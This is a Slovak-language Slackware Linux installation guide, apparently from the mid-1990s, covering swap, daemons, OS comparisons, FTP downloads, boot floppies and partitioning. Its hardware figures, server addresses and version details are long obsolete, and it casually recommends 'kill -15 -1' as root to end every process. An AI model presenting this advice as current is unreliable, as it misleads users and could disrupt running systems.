Moja osobna skusenost hovori, ze je rozumne mat velkost virtualnej pamati az 32 MB. Samozrejeme, cim viac fyzickej pamati mate, tym je system rychlejsi. Hoci so 4 MB RAM ( RAM = random acces memory = fyzicka pamat ) uz system pobezi, literatura uvadza ako rozumne minimum 8 MB RAM. 12 MB Vam umozni celkom rychlu pracu. A nakoniec, 16 MB RAM Vam uplne postaci.
Ak mate az 32 MB RAM, swapovaciu particiu nepotrebujete vobec. Ak totiz nepouzivate rozsiahle CAD programy alebo animacny ci graficky software, vyuzijete maximalne 16 az 24 MB RAM. Stale vsak swapovaciu particiu vytvorit mozete, ak to uznate za potrebne. Ja osobne na pocitaci pracujem sam, ziaden rozsiahly ( pamatovo narocny ) software nepouzivam, a predsa mam 64 MB virtualnej pamati ( 24 MB fyzickej ). Realne sa mi z virtualnej pamati len zriedka vyuzije viac ako 10 MB, avsak mam takmer na sto percent zarucene, ze nenastane situacia, ze nejaky program nebude mat dostatok pamati.
2. V pripade potreby mozete pouzivat aj swapovaci subor. Linux s nim vsak pracuje omnoho pomalsie ako so swapovacou particiou. Pouzijete ho hlavne vtedy, ked na urcitu kratsiu dobu ( cca 1 mesiac ) budete potrebovat rozsirit svoju virtualnu pamat alebo ked instalujete Linux na DOS particiu a nechcete delit disk na particie.
demon cinnost
init inicializuje system pri prepnuti do roznych rezimov jadra: jednouzivatelskeho, mnohouzivatleskeho; rezim, v ktorom bezi len X-Window ( init = initialize the system runlevel )
lpd sleduje, ci niekto nechce tlacit na tlaciarni a ak ano, tak zacne tlacit ( lpd = line print daemon ) Linuxacky lpd iba "spi" a zobudi ho az program lpr.
sendmail sleduje, ci niekto nechce poslat e-mail - elektronicku postu ( sendmail = send the user's ( electronic ) mail )
update obcerstvuje systemove a diskove tabulky ( Linux nema FAT ako MS-DOS, ale urcite tabulky predsa len potrebuje ) ( update = update the system and disk tables )
bdflush vyprazdnuje cache pamat ( jej obsah umiestnuje na disk ) ( bdflush = flush blocks to the disk )
gpm je to ovladac zobrazovania mysi - caka na pohyb mysou ci stlacenie jej tlacidla ( gpm = general purpose mouse support )Toto su len priklady daemonov, Vas system ich v skutocnosti moze mat ovela viac - celu kopu pre pracu so sietami ci modemom. Ak vsak mate menej ako 12 MB RAM, mozete Linux urychlit tym, ze niektorych demonov zrusite a tym uvolnite cast pamate RAM - Linux nebude musiet tolko swapovat. Su v podstate dve moznosti, ako to urobit.
1. Mozete okomentovat prislusne riadky, ktore demonov startuju v subore /etc/inittab a v suboroch v adresari /etc/rc.d. Samozrejme pravo zapisu do tychto suborov mate len ako root. Tato metoda nie je pre zaciatocnika prilis vhodna, pretoze si nemusi zapamatat zmeny, ktore urobil. Je vhodne robit si zalohy tychto suborov pri kazdej zmene. Ak niekedy budete potrebovat spustit niektorych demonov, moze Vam trvat pomerne dlho, kym najdete prislusny subor. Vynimkou su virtualne terminaly. Ak stlacite kombinaciu klaves Alt-F2, prepnete sa akoby na inu konzolu, kde sa mozete prihlasit ako lubovolny pouzivatel a spustat lubovolne programy. Takychto virtualnych konzol ( konzola je terminal pripojeny priamo na pocitac, teda nie emulaciou terminalu po sieti ci telefonnej linke ) byva vacsinou 6 a tiez zaberaju urcity priestor v pamati. Mozete citit potrebu znizit ich pocet ( ja pouzivam len 3 a stacia mi ) okomentovanim riadkov zacinajucich pismenami
c1: c2: c3: c4: c5: c6:niekde pred koncom suboru /etc/inittab. Neokomentujte vsetky riadky, nechajte aspon jeden, inak sa Vam pri dalsom spusteni systemu nepodari prihlasit.
POZNAMKA: Ak pouzivate system X-window, prepinanie medzi konzolami sa deje kombinaciou klaves Ctrl-Alt-F1 az Ctrl-Alt-F7, kde posledna konzola je X-windows session - Vasa graficka konzola. V pripade nudze mozete X-window session ukoncit kombinaciou klaves Ctrl-Alt-Backspace.
2. Ovela jednoduchsou metodou je prihlasit sa po startnuti systemu ako pouzivatelska identifikacia root a napisat:
# kill -15 -1co sposobi okamzite korektne ukoncenie vsetkych demonov ale aj relacii vsetkych pouzivatelov.
Jadro Linuxu nedovoli ukoncit demona init ale ten nestartne demonov z tabulky /etc/inittab ( inittab = system initialization table = inicializacna tabulka systemu ). Demon update by sa ukoncit nemal. Ak ale prikazom ps zistite, ze nie je spusteny, bude nevyhnutne spustit ho prikazom
# updatePrikaz update spusti demona s nazvom update a ten spusti demona bdflush. Bez tychto demonov by sa na disk nedalo nic zapisat. Nepomohol by ani prikaz sync, ktory inak uklada systemovu cache pamat. Hoci by sa tvaril, ze vsetko je OK. Ked potrebujete este niekolko dalsich demonov ( pre mys ci tlac programov ), musite ich zadat rucne. Zakladny problem, ktory pri rucnom spustani daemonov nastava je, ze niektori demoni sa sami hodia do pozadia, na ukoncenie inych shell caka ( a nevypise vyzvu ). Je potrebne spustat ich na pozadi, t.j. so znakom ampersandu & na konci prikazu. Priklad
# lpd Spusti demona pre tlac, ten sa sam hodi do pozadia.
# gpm -t msc & Spusti ovladac trojtlacitkovej mysi MouseSystems na pozadi. (To je len priklad, gpm sa tiez sam hodi na pozadie.)
Mozno prave stojite pred dilemou - nainstalovat Linux alebo Microsoft Windows NT ? A predpokladate, ze patrim k ludom, ktori maju radi len jedinu vec a na ostatne zanevru - teda, ze poviem "rozhodne Linux". Nie je to pravda. Teraz popisem zakladne rozdiely medzi Linuxom a ostatnymi kvalitnymi operacnymi systemami.
OS/2, WINDOWS NT a LINUX su plne 32 bitove operacne systemy s dobrou ochranou pamati a suborov. Linux mozete ziskat zadarmo, IBM OS/2 aj MICROSOFT WINDOWS NT su komercne systemy. Ich cena sa pohybuje na urovni stovak US dolarov. Maju vsak vyhodu, ze je pod nimi urobenych ovela viac programov ako pod Linuxom - aj ked tiez vacsinou komercnych. Praca s nimi je lahka, intuitivna a rychla. Nie je nutne cele hodiny studovat manualy, aby ste rozbehali zakladne veci.
Vsetky 3 systemy su schopne spustat aplikacie pre MS-DOS ( hardwareovo - softwareovou emulaciou - vyuzivaju "virtualny" rezim prace procesorov Intel APX 80386 +). "Rozbehanie", t.j. instalacia a spojazdnenie WINDOWS NT resp. OS/2 je ovela jednoduchsie ako u Linuxu, na ktoreho spojazdnenie potrebuje NESKUSENY pouzivatel dlhsiu dobu. Pouzitie sietovania vratane TCP/IP je v komercnych systemoch ovela jednoduchsie ako v Linuxe. Ovladanie Linuxu je sice s novymi verziami stale prijemnejsie, vzdy je vsak potrebna pomerne dobra vedomostna zakladna pouzivatela, zatial co Windows by po kratkej instruktazi bol schopny pouzit aj pocitacovy analfabet. WINDOWS NT aj OS/2 sa "prizivili" na poznatkoch velkych UNIXovych systemov.
Pouzitie Linuxu ma teda len jedinu vyhodu - moznost spustat programy dostupne na velkych systemoch, z ktorych prakticky vsetky (az na niektore stroje firmy IBM) pouzivaju ako operacny system "klony" UNIXu. Ich ovladanie vsak v ziadnom pripade nemozno oznacit za jednoduche.
Rozlicne verzie WINDOWS ( nie WINDOWS NT ) su 16 bitove operacne systemy s velmi slabou ochranou pamati a bez ochrany suborov. Windows '95 su akymsi medzistupnom medzi systemami Windows a Windows NT. Stale su totiz postavene nad MS-DOSom a stale maju pomerne slabu ochranu pamati a vobec ziadnu ochranu suborov. Maju vsak vylepseny multitasking a vyuzitie pamati a su vraj 32 bitove. Rozhodne maju rychlejsiu grafiku ako predosle verzie 16 bitovych Windows. Windows '95 umoznuju beh 32 bitovych aplikacii, ale kniznicu Win32 maju neuplnu. Dalej ( na rozdiel od Linuxu ) aplikacie z dovodu setrenia pamatou pouzivaju ten isty pamatovy priestor. Preto padom jednej z nich mozu zamrznut aj niektore ostatne aplikacie ci dokonca cely operacny system... Windows NT pouzivaju oddeleny pamatovy priestor pre jadro systemu a oddeleny pamatovy priestor pre ostatne aplikacie. Pouzivatelske aplikacie tak zdielaju jediny pamatovy priestor ( opat z dovodu setrenia pamatou ) a pad jednej z nich moze sposobit pad ostatnych ( avsak uz nie operacneho systemu ). U operacneho systemu Microsoft Windows NT je vsak na rozdiel od operacneho systemu Microsoft Windows '95 mozne nastavit, aby kazda aplikacia bezala v oddelenom pamatovom priestore. Na celej situacii je najzaujimavejsie to, ze Windows NT ( na rozdiel od operacneho systemu OS/2 ) nedefragmentuje pamat pridelenu (po)uzivatelovym aplikaciam a po urcitom case pouzivatel citi vyrazne pomalsi beh aplikacii. Jedinym riesenim je odhlasenie sa a opatovne prihlasenie sa pouzivatela do systemu.
Avsak aj system X-Window sa chova divne - ak nejaka pod nim beziaca aplikacia potrebuje pamat, system X-Window ( ak uz vycerpal svoje rezervy ) si pamat vyziada od operacneho systemu ale uz mu ju po skonceni aplikacie nevrati. Vysledkom toho je, ze ak chybne napisane programy ( napriklad Netscape ) pozaduju stale viac a viac pamate, operacny system im ju prideluje a aplikacie bezia stale pomalsie a pomalsie... Je preto vhodne aspon raz za tyzden ( ale najlepsie aspon raz za den ) na konzole pocitaca zhodit X-server ( program umoznujuci beh X-Window ) klavesovou skratkou Ctrl-Alt-Backspace. Dufajme, ze nasledujuce verzie X-Window tento neduh odstrania.
OPERACNY SYSTEM | ZABERA NA DISKU | MINIMUM RAM | ROZUMNA RAM |
MS-DOS X.XX | 5 MB | 640 KB | 4 MB |
WINDOWS 3.XX | 11 MB | 4 MB | 8 MB |
WINDOWS '95 | 40- 60 MB | 12 MB | 24 MB |
WINDOWS NT 3.51 | 48- 60 MB | 16 MB | 32 MB |
LINUX + X-WINDOW | 60-300 MB | 16 MB | 32 MB |
OS/2 KUZELNIK | ??? | 24 MB | 48 MB |
WINDOWS NT 4.00 | 60-80 MB | 24 MB | 48 MB |
Minimum RAM je minimalna hodnota pre dobry beh systemu. Napriklad ja som pouzival WINDOWS NT 3.51 na pocitaci s 8 MB RAM a bezal. A nebezal horsie ako LINUX + X-Window. 8 MB je na X-Window malo. Aj na WINDOWS NT. Programy Vam pobezia, ale nebudete stastni. Minimum RAM odporucane pre Windows NT je 12 MB.
WINDOWS NT ma takmer rovnako rychlu grafiku ako Linux (Windows '95 zdaleka nedosahuje jej kvality), preemptivny multitasking (v porovnani s Windows '95, ktore multitaskuju slabo) a v porovnani s Linuxom lepsiu ochranu suborov. Je mozne upresnit prava na pracu s adresarmi a subormi pre jednotlive skupiny, ba dokonca pre kazdeho pouzivatela zvlast. Zapis na disketu je vsak v operacnom systeme Windows NT omnoho pomalsi ako v operacnom systeme Windows 95. Pri zapise mnozstva malych suborov na disketu v rychlosti opat vitazi Linux.
Z hladiska principov su si OS/2, WINDOWS NT a Linux velmi podobne. Windows NT moze pocas behu automaticky podla potreby menit velkost swap suboru. To Linux nedokaze. Swapovacie particie Windows NT nema a ani nepotrebuje, pretoze so swap suborom pracuje rovnako rychlo ako Linux so swap particiou. Linux pracuje so swap suborom pracuje omnoho pomalsie. Windows NT ma zabudovanu kompresiu dat ( sposobi, ze data zaberu na disku asi len polovicu miesta, nez by mali ) a da sa nastavit zvlast pre jednotlive subory ci adresare. Dlhe nazvy suborov su vo Windows NT rovnako mozne ako v Linuxe - a nainstalovat a pouzivat diakritiku v systeme Windows NT je "hracka". Neviem, ci je suborovy system MICROSOFT WINDOWS NT - NTFS z Linuxu "viditelny". Kedze uz nejde o FAT system, mozno ze nie je. Nemam s tym skusenosti. Windows NT som instaloval na particiu pouzivajucu VFAT - suborovy system WINDOWS '95, ktoru Linux dobre pozna. A instalacnemu programu som ju nedovolil skonvertovat na NTFS. Zial,ochudobnil som sa tym o moznost nastavovat prava a kompresiu na subory a adresare. Samozrejme Linuxacke particie ziaden iny system nepozna. Windows NT vsak vie spristupnit urcite podadresare ( o tom, ktore, rozhodujete Vy ) Linuxu ked WINDOWS NT bezi na danom stroji a Linux na inom - teda na sieti.
Osobne by som teda bol najskor za WINDOWS NT, pretoze pren existuje najviac software a je teda velka sanca, ze medzi nim najdete aj ten, ktory potrebujete. No v tomto roku je k dispozicii OS/2 ovladatelna ludskou recou a ma teda pred ostatnymi operacnymi systemami PORIADNY naskok. Aj keby totiz toto ovladanie bolo velmi slabe, ani Linux nebol od zaciatku super. A Windows uz vobec nie...
Toto je vsak instalacna prirucka Linuxu a nie reklama na WINDOWS NT. Ak ste sa teda megalomaniacky rozhodli nainstalovat Linux na Vas pocitac, citajte dalej.
Pre instalaciu Linuxu si potrebujeme stiahnut co najnovsiu distribuciu ( uz som spominal, ze v tejto casti prirucky budem popisovat instalaciu distribucie Linux Slackware ) z nejakeho ftp servra. Je mozna a celkom pohodlna instalacia z CD-ROM. Disk CD-ROM si vsak musite zohnat ( z hladiska licencie nie je nevyhnutne ho kupit ). Vacsinou je najmladsia verzia dostupna na CD-ROM trochu stara. Ked si uvedomime, ze Linux je realne pouzitelny asi tak 4 roky ( od roku 1993, dovtedy boli dost slabe verzie - prva koncom roku 1991 ), instalaciou minulorocnej verzie stracate 20 % vylepseni, co je zavazne hlavne pre X-Window. A co viac, musite zan zaplatit firme, ktora ho predava, niekolko tisic SK. A pritom platite za staru verziu.
Instalacia z CD-ROM je teda krajnou moznostou pre tych, ktori nemaju BEZPLATNY pristup k INTERNETu ci inej sieti pouzitelnej na stiahnutie Linuxu.
Je rozumnejsie nejaku distribuciu Linuxu stiahnut z ftp servra. FTP server je UNIXovsky pocitac sluziaci hlavne ako "poskytovac suborov". V ziadnom pripade to nemusi byt jeho jedine urcenie. V skutocnosti, ak si na svojom pocitaci nainstalujete podporu sieti, bude moct prakticky okamzite sluzit aj ako fileserver pre ine pocitace. Jediny, kto o tom rozhoduje, ste Vy sam. Samozrejme pridavam kratky kurz ftp. Este predtym si vsak uvedme adresy, kde mozno najst Linux. Rozne distribucie Linuxu mozeme najst v adresari
sunsite.unc.edu:/pub/Linux/distributionsKonkretne Linux Slackware je k dispozicii urcite aspon na tychto strojoch
sunsite.unc.edu:/pub/Linux/distributions/slakware tsx-11.mit.edu:/pub/linux/packages/slackware ftp.cdrom.com:/pub/Linux/slackwareftp.cdrom.com je "domovsky pristav" Linuxu Slackware.
Domovska www stranka Linuxu je
http://sunsite.unc.edu/mdw/linux.html
a najznamejsie USENET skupiny ( citatelne napriklad programom tin ) su
comp.os.linux.announce comp.os.linux.help comp.os.linux.admin comp.os.linux.development comp.os.linux.miscAby som nezabudol, stranky typu http://... mozete citat programom Netscape pod systemom X-Window alebo Microsoft Windows. V Microsoft Windows '95 mozete najst podobny program s nazvom Microsoft Internet Explorer. Obidva programy dokazu prezerat aj obrazky, animacie a prehravat zvuky. Dokonca sa mozete pohrat s virtualnou relitou. Rozhodne sa s nimi nudit nebudete. Skuste napriklad napisat do editacneho ramca jedneho z uvedenych programov adresu
http://www.playboy.coma stlacit klavesu ENTER...
Diskusne skupiny siete USENET umoznuje citat program trn ci tin. Napiste
$ tina riadte sa menu. Toto je instalacna prirucka pre ludi bez pristupu k sietam. Poviem Vam teda len tolko: Aby ste mohli citat obsah clankov nejakej skupiny, musite sa do nej prihlasit = zapisat ( subscribe ). Prikaz y)ank ( stlacite len znak y, cast textu za zatvorkou je v menu len pre pochopenie ) zobrazi obnovi vsetky skupiny, bez ohladu na to, ci ste do nich prihlaseni.Program tin Vam totiz po spusteni zobrazi len tie skupiny, do ktorych ste prihlaseni. Prikaz y)ank zobrazi vsetky skupiny. Kurzorovymi klavesami ( to su tie, ktore sluzia na ovladanie pohybu kurzora na monitore v textovych editoroch, teda 'sipky' ) sa pohybujete po jednotlivych skupinach ( niekde v pravej hornej casti obrazovky je zobrazeny ich pocet - je ich niekolko tisic ) a prikazom s)ubscribe sa do nich zapisujete. Prikazom u)nsubscribe sa z diskusnej skupiny odhlasite. Clanky mozete citat - ale aj zasielat svoje vlastne. Pri citani clanku mozete pouzivat klavesu <ENTER>, <sipku doprava> alebo <medzernik>. Viac Vam nepoviem, prisli by ste o pozitok z objavovania... Nezabudnite vyuzit vstavanu pomoc ako aj prikaz man tin.
Mozete pouzit aj Mailovske skupiny. Ich zoznam ako aj postup, ako sa do nich pripojit, Vam zaslu, ak poslete mail ( napriklad programom elm ) na adresu:
linux-activists@nikula.hut.fiOkrem beznych "kanalov" ( NORMAL ) sa tam dozviete aj detaily o vyrabani jadra ( KERNEL ), kompilatora gcc ( GCC ) o TCP/IP ( Transfer Control Protocol / Internet protocol ), sietach ( NET ), o tom, ako vyrobit dokumentaciu ( kanal DOC ) atd.
Pre Vasu informaciu este dodavam, ze distribuciu Linux Slakware, ktorej instalaciu v dalsej casti prirucky popisem, vyrobil Patrick Volkerding. Jeho INTERNETovska adresa je
volkerdi@mhd1.moorhead.msus.edu
Jedna z moznosti, ako preklenut dany problem, je program ftp. Na prenos suborov pouziva file transfer protocol - protokol na prenos suborov. My si teraz popiseme pracu s tymto programom. Prihlasime sa na pocitac kosice.upjs.sk a stiahneme odtial Linux.
Ak mate na danom pocitaci konto ( = login ), ftp Vam umozni stahovat subory z kazdeho adresara, na do ktoreho mate bezne pristup. My na pocitaci kosice.upjs.sk login nemame, preto sa musime prihlasit ako anonymny pouzivatel. Pravdepodobne sice nebudeme mat pristupne domovske adresare pouzivatelov, ale to nevadi. Nakoniec, toto nie je prirucka crackera. Servre umoznujuce prihlasovat sa anonymnym pouzivatelom cez program ftp sa casto nazyvaju anonymne ftp servre.
Povedzme, ze chceme stahovat Linux na diskety. Preto spustime ftp z MS-DOSu. Najprv sa prepneme na disketu, ktoru samozrejme vlozime do prislusnej mechaniky, prikazom MS-DOSU
a:Potom spustime program ftp a povieme mu, na ktoru adresu nas ma pripojit.
ftp kosice.upjs.sk ... login: anonymous password: root@hron.fei.tuke.skProgram ftp v skutocnosti vypisuje ine veci, nez som tu napisal ja ( udaje o servri a dalsie informacie ), ale ako ukazka to staci ( pouzivatel pise presne to, co som napisal ja ).
Vidime, ze ako prihlasovacie meno treba zadat anonymous a ako prihlasovacie heslo svoju adresu na UNIXovskom pocitaci, kde mame konto. Kedze program ftp nevie zistit, ci klameme, mozeme zadat lubovolnu adresu - v skutocnosti nemusime mat heslo na ziadnom pocitaci. Presnejsie povedane, casto sa len kontroluje pritomnost ampersandu za nejakym slovom - priklad:
login: anonymous password: mam_ta@nam rovnako umozni prihlasit sa. To je dobre vediet nielen pre hackerov. Tento priklad ukazuje, ze v UNIXovej ochrane je mnozstvo "dier". Aj ked anonymous ftp nie je pravy priklad - poziadavka na heslo tu v skutocnosti nema velky zmysel.
teraz napiste
> lsPouzivate teda UNIXovske prikazy. > nepisete, je to jedna z moznych vyziev programu ftp. Napiste teda len ls.
> ls pub ww
>Teraz musime prehladat jednotlive adresare prikazmi cd a ls a najst distribuciu Linuxu. Toto tu simulovat nebudem, idem do fiktivneho adresara.
> cd pub/linuxSkor, nez zacneme stahovat subory, musime program ftp prepnut do binarneho modu ako aj zrusit jeho ukecanost - inak by sa do nekonecna pytal na to, ci chcete stiahnut subor xxx hoci ste napisali, ze ano... Dufam, ze ste pochopili, ze hlavny problem v UNIXe je jeho neinteligentnost ako aj absolutne priruckove vakuum - neexistuju prirucky, ktore by rychlo, jasne a kvalitne popisali instalaciu a pouzitie programov. (Hoci anglickych priruciek je cela kopa.) Kazdy program v UNIXe ma svoje finty, vacsinou uplne odlisne od inych. Ziadne jednotne ovladanie. Prave tu do popredia vystupuje Linux, ktory stale viac "vytrca" svojou kvalitou nad ostatne UNIXovske operacne systemy. Aj on vsak stale patri do jedneho vreca s ostatnymi systemami.
Standardne ftp prenasa textove subory a robi pre nas nevhodne konverzie znakov. Preto ho prepneme na binarny mod:
> binarya vypneme ukecanost
> promptTeraz sme v adresari linux. Aby sme mohli nainstalovat Linux, potrebujeme vytvorit dve instalacne diskety. Prva zavedie jadro Linuxu a druha obsahuje akusi nahradu disku - urobi sa z nej virtualny disk v operacnej pamati RAM ( =RAMDISK ). Samozrejme, len pri instalacii. Obsah obidvoch diskiet je ulozeny v specialnych suboroch. Program, ktory ich zapise na disketu, sa vola rawrite.exe. Jadro Linuxu pre instalaciu zavedie tzv. bootovacia disketa. Prislusny subor s jej obsahom je potrebne hladat v adresaroch, ktore maju v nazve slovo "bootdisk". Napriklad na stroji
sunsite.unc.edu(tu byva Linux od zaciatku distribucii a tu treba hladat najnovsie veci) ho najdeme v adresari
bootdsks.144pre 1,44 MB 31/2 DS-HD diskety, resp.
bootdsks.12
pre 1,2 MB 51/4 DS-HD diskety. V nich je textovy subor "README" alebo "WHICH.ONE" alebo podobny, ktory obsahuje informacie o jednotlivych bootovacich disketach. Potrebujete len jednu, ale kazda obsahuje ine ovladace. Ak mate standardnu konfiguraciu - IDE hard disk bez sieti - vystacite s boot diskom, ktory ma v nazve slovo "bare". Vo verzii Linux 3.1.0 ma tento subor nazov "bare.i".
Root disketu obsahujucu obraz virtualneho disku si stiahnete z adresara, ktory ma v nazve slovo "root". V Linux 3.1.0 ma nazov "color.gz". Napriek koncovke ".gz" ju neslobodno rozbalovat. Ak chcete instalovat cez MS-DOSovsky disk, potrebujete "umsdos" -> v sucasnej verzii je to "umsdos.gz". Na stroji
sunsite.unc.eduje v adresari
rootdsks.144respektive
rootdsks.12Adresare vsak v case, ked citate tento manual, mozu byt pozmenene, napriklad rootdsks.144 a rootdsks.12 mozu byt zamenene za jediny - rootdsks. Subor "rawrite.exe" by mal byt umiestneny niekde v adresari, ktory ma v nazve slovo "install". Napriklad Linux byva od zaciatku k dispozicii na adrese
sunsite.unc.edua program RAWRITE.EXE mozeme najst v adresari
/pub/Linux/system/Install/rawwriteVsetko by malo byt stiahnutelne na jednu disketu. Postupne sa prepinajte do prislusnych adresarov a "tahajte". Priklad
> cd install > ls . . rawrite.exe . . > get rawrite.exeTeraz stiahneme ostatne subory v adresari slackware alebo slakware. Vzdy jeden adresar na jednu disketu. Priklad
> cd slackware > cd A1 > mget *Vymenime disketu
> cd ../A2 > mget *atd.
Mate dve moznosti, odkial instalovat. Mozete instalovat priamo z diskiet alebo ich obsah prekopirovat na hard disk a instalovat z hard disku. Instalacia z hard disku ma viacero vyhod. Zakladnou vyhodou je rychlost. Prekopirovanie diskiet na hard disk a nasledna instalacia Linuxu z hard disku zabera menej casu ako priama instalacia z diskiet. Okrem toho sa vyhnete tomu, ze po hodine instalacie zistite, ze disketa xyz ma chybny cluster ( resp. ze niektora chyba ). No a nakoniec, v pripade, ze urobite chybu, opatovna instalacia z disku je omnoho rychlejsia ako z diskiet. Z disku nebudete chciet instalovat ak na nom nemate dost miesta alebo ak ho potrebujete rozdelit, pretoze zrusenim particii vymazete vsetky na nich ulozene udaje. Ak chcete instalovat z disku, vytvorte adresar pre diskety. Napriklad \slakware a pre kazdu disketu v nom vytvorte zvlastny adresar. Teda disketa A1 pojde do adresara A1 atd. Co robit v pripade, ze ste si nepoznacili na diskety ich nazvy ? Nezufajte. Na kazdej diskete sa musi nachadzat subor, ktorym ju instalacny program identifikuje. Napriklad na diskete patriacej do adresara A1 sa musi nachadzat subor diska1. Podla neho diskety identifikujete. Len tak pre zaujimavost, kazda seria diskiet musi koncit disketou, ktora obsahuje subor install.end. Podla neho instalacny program vie, ze seria konci. Ja som napriklad nestiahol disketu K6 a program setup ma upozornil, ze disketova sada K nie je kompletna. Co robit v takom pripade ? Kludne instalujte dalej ! Jedine, co potrebujete urobit, je to, ze prislusne diskety stiahnete spravne a celu seriu preinstalujete este raz. Nemali by s tym byt problemy. Konkretne - jediny program schopny robit problemy je ghostview, pretoze seria pre X-Window data ponecha a prepise len binarny subor ( program ). Preto pozor, ak vas problem nastane na disketach AP a instalujete aj XAP, pri opravnej reinstalacii diskiet AP uz neinstalujte ghostview. Alebo so seriou AP preinstalujte aj seriu XAP.
Linux dokaze "bezat" na particii naformatovanej pre MS-DOS. Avsak ked mu pridelime vlastnu particiu, na ktorej moze pouzit vlastny suborovy system ext2 (second extended), ziskame nasledovne vyhody:
No pokial chcete Linux iba vyskusat ( alebo ho pouzivat iba kratku dobu ), instalacia na particiu zdielanu s MS-DOSom pre Vas moze byt idealna. Vytvori si podadresar \linux a v nom je cely Linux, takze ak sa rozhodnete, ze Vas uz Linux nezaujima, jednoducho podadresar \linux vymazete. Ba dokonca ho mozete prekopirovat na inu MS-DOS particiu a spustat z nej. Ako chcete.
Je velmi pravdepodobne, ze ak ste uz zakupili pocitac s operacnym systemom, ktory nainstaloval predajca, ma len jedinu - primarnu DOSovsku particiu. Zial, disk je potrebne rozdelit, teda primarnu DOSovsku particiu zmazat a vytvorit ju mensiu. Znamena to stratu vsetkych dat na rusenej particii. Program fips.exe sa moze pokusit defragmentovat Vasu DOSovsku particiu a nasledne ju zmensit, je to vsak rizikove. Na vymazavanie a vytvaranie particii ( repartitioning ) pouzivajte program fdisk operacneho systemu, ktoremu particia patri. Particie vytvorene operacnym systemom MS-DOS zruste fdiskom systemu MS-DOS. Nezasahujte fdiskom jedneho operacneho systemu na particie druheho. Jedina vynimka plati pre OS/2. U tohto operacneho systemu vsetky particie vytvarate a rusite len pomocou OS/2. Aj Linuxacke. Podobna vynimka plati pre Windows NT.
Ak ste vytvorili Linuxacke particie ( najlepsie obidve primarne, ale mozu byt aj na sekundarnej (extended) particii - dokonca ich mozno miesat s logickymi particiami ineho operacneho systemu na tej istej extended particii ) systemom OS/2 alebo MS-DOSom ( ako logicke disky na extended particii ), staci ich uz len OZNACIT ako Linuxacke ( vid dalej ).
Najjednoduchsie je urobit primarnu particiu pre napr. MS-DOS a zvysok disku nechat pre Linux.
POZNAMKA:
1. V skutocnosti som bez akychkolvek problemov vytvaral logicke disky jedneho operacneho systemu fdiskom ineho operacneho systemu. Problemy nastali az pri pokuse vytvorit logicke disky MS-DOSu v extended particii Linuxovym fdiskom.
2. Na reparticiovanie nepouzivajte utility dodavane na disketach spolu s hard diskom ci maticnou doskou - napriklad disk manager. Pouzivajte DOSovsky fdisk. Linux ma s tymito programami problemy, pretoze nedodrziavaju situaciu, ze hranicou particie musi byt cylinder ( a OS/2 aj Linuxu to vadi ).
Linuxacke diskety boot a root vytvorime programom rawrite.exe. Priklad
> rawrite.exe bare.i a: ( .i znamena jadro s ovladacmi pre IDE disky ) > rawrite.exe color.gz a: ( color znamena farebny setup )Do disketovej mechaniky vlozime disketu boot ( bare.i ) a zabootujeme z diskety. Vypise sa LILO. To je program Linux Loader, ktory sluzi na zabootovanie operacneho systemu ( podobny program maju MICROSOFT WINDOWS NT ). Vacsinou nemusite robit nic, len stlacit klavesu <enter>. Nacita sa obsah disku a system caka na vlozenie dalsej diskety root ( color.gz ). Po jej vlozeni odklepnite <enter>.
Problemy by pri novych verziach byt nemali, stare verzie Linuxu s novymi velkymi diskami problemy mat mozu ale velmi lahko sa s nimi da vysporiadat. Ak Linux nerozpozna Vas disk, staci mu na zaciatku ( po vypise LILO ) zadat parameter
root = cyl,hd,seckde hd je pocet hlav disku, cyl pocet cylindrov a sec pocet sektorov na cylinder. Pre detailnejsiu pomoc citajte uvodny vypis programu LILO.
Ked uz ste uspesne zabootovali, mate dve moznosti. Instalovat cez MS-DOS ( ak ste pouzili ako root disketu umsdos.gz ) alebo na novu Linux particiu.
# sync # swapon /mnt/dev/swapfilePrikaz free Vam ukaze, ci je swap aktivovany. Ak nie, jeho velkost bude 0. Prikaz df Vam ukaze, ake particie existuju ako aj dostupny priestor na nich a pomoze Vam identifikovat, ako sa vola Vas disk. Nazvy diskov su upresnene na zaciatku dalsieho odseku.
Co vsak v pripade, ze subor /mnt/dev/swapfile ci /mnt/etc/swapfile neexistuje ? Ak mate menej ako 5 MB RAM, budete musiet vytvorit vlastny swap subor. Ako ?
Najjednoduchsie je napisat:
# dd if=/dev/zero bs=1024k count=8 of=/dev/swapfile 8+0 records in 8+0 records out
#Prikaz dd vytvori subor o count MB v adresari /dev. V nasom priklade sa swapovaci subor vola /dev/swapfile a ma 8 MB. Aplikujme nanho prikaz mkswap
# mkswap /dev/swapfile Setting up swapspace, size = 8384512 bytes
#a nasledne
# syncpockame 3 sekundy a napiseme
# swapon /dev/swapfile
#
Priklad:
Majme primarnu DOSovsku particiu. Ta je DOSu znama ako C: a Linuxu ako /dev/hda1 u IDE disku resp. /dev/sda1 u SCSI disku. Ak je na disku aj extended particia, Linux ju chape ako /dev/hda2 resp. /dev/sda2. DOS je schopny v extended particii rozoznat len svoje logicke disky a oznacuje ich ako D:, E: atd. V nasom priklade su dve, D: a E:. Linux ich bude oznacovat ako /dev/hda5 a /dev/hda6, lebo /dev/hda3 a /dev/hda4 su nazvy rezervovane pre dalsie fyzicke oddiely disku.
Ak este zostalo nevyuzite miesto na extended particii, mozeme do nej pridat dalsie logicke disky a Linux ich bude oznacovat ako /dev/hda7 atd. Ak vsak pridame primarne oddiely disku - su to /dev/hda3 a /dev/hda4.
Mozno to vyzera krkolomne, ale je to celkom jednoduche a logicke. Primarne particie su /dev/hda1-4 a logicke su /dev/hda5-???. Na jednom fyzickom disku smu byt maximalne 4 primarne particie z velmi jednoducheho dvovodu: Je obmedzena velkost tabulky oddielov ( particion record ). Avsak, aby sme mohli mat viac ako 4 logicke disky ( pre pouzivatela aj system sa javia ako samostatne disky a nerobi medzi logickymi a fyzickymi diskami rozdiely ), jedna fyzicka particia moze byt extended - sluzi na "uskladnenie" viacero logickych diskov.
V skutocnosti ma mnoho systemov samostatne particie pre adresare /usr (je tu prakticky vsetok software nedodany s Linuxom a je tu aj X-Window), /home (tu byvaju pouzivatelske adresare) a /tmp ( temporary = tu si system a pouzivatelia ukladaju "docasne" subory - napriklad si sem len po dobu svojej cinnosti ukladaju docasne subory systemy X-Window, gcc ( oficialny kompilator jazyka C dodany s Linuxom ), elm, vi atd.
Fajn. Mame teda urobenu dosovsku particiu. Ukazme si na priklade pracu s Linuxovskym fdiskom. Pridelime jednu particiu Linuxu a jednu swapu, obidve particie budu primarne disky:
